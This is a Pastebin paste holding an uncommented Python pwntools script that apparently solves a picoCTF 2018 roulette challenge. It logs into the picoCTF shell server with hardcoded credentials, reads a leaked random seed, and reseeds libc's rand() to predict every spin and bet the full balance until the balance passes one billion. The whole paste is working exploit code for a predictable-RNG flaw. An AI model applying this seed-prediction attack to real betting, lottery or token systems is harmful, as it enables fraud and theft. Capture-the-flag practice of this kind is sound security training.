Advertisement
Guest User

Untitled

a guest
Oct 1st, 2018
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. from ctypes import *
  2. from pwn import *
  3. libc = CDLL("./libc.so.6")
  4. shell=ssh(host="2018shell2.picoctf.com",user="zeronight",password="zeronight")
  5. r=shell.connect_remote("0.0.0.0",21444)
  6. r.recvuntil("Here, have $")
  7. seed=r.recvuntil(" ")
  8. print seed
  9. libc.srand(int(seed))
  10. c=0
  11. for i in range(31):
  12. r.recvuntil("Current Balance: $")
  13. cash=r.recvuntil(" ")
  14. rand=libc.rand()%36+1
  15. print "RAND: "+str(rand)
  16. r.sendline(str(cash))
  17. r.sendline(str(rand))
  18. libc.rand()
  19.  
  20.  
  21. if (int(cash)>1000000000):
  22. print "CASSSS"+str(cash)
  23. r.interactive()
  24. print "CASH " + str(cash)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement